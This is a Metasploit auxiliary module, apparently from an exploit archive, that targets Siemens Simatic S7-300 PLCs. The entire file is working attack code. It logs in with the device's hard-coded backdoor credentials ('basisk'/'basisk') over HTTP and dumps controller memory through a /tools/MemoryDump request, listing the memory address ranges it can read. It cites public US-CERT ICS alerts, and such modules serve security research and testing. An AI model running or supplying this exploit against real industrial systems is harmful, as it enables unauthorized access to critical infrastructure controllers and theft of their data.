# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
   
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
 
    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',
            'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in
                               the Simatic S7-300 PLC and dumps the device memory using system commands.
                               Mode: Values 8, 16 or 32 bit access
                               Valid address areas are:
                               80000000 - 81FFFFFF SD-Ram cached
                               A0000000 - A1FFFFFF SD-Ram uncached
                               A8000000 - A87FFFFF Norflash
                               AFC00000 - AFC7FFFF ED-Ram int. uncached
                               BFE00000 - BFEFFFFD COM-ED-Ram ext.
                               C0000000 - C007FFFF ED-Ram int. cached
                               D0000000 - D0005FFF Scratchpad data int.
                               D4000000 - D4005FFF Scratchpad code int.
                               F0100000 - F018FFFF SPS-Asic 16-Bit access only
                },
              'Author'          => 'Dillon Beresford',
          'License'                 => MSF_LICENSE,
          'References'     =>
                [
                  [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
                ],
            'Version'        => '$Revision$',
          'DisclosureDate' => 'June 2011'
          ))
            register_options(
                [
                    Opt::RPORT(8080),
                    OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),
                    OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),
                    OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),
                    OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),
                    OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),
                    OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])
            ], self.class)
    end
 
    def run_host(ip)
         
        begin
            user = datastore['USER']
            pass = datastore['PASS']
             
            print_status("Attempting to connect to #{rhost}:#{rport}")
            len = '1024'
            login = send_request_raw(
                {
                    'method'    => 'GET',
                    'uri'   => "/login?User="+user+"&Password="+pass
                })
 
 
            if (login)
         
            request = send_request_raw(
                {
                    'method'  => 'GET',
                    'uri'     => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']
                })
                if (request and request.code == 200)
 
                print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")
                elsif (request and request.code)
                    print_error("Attempt #HTTP error #{request.code} on #{rhost}")
                end
            end
     
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
        rescue ::LocalJumpError
        end
    end
end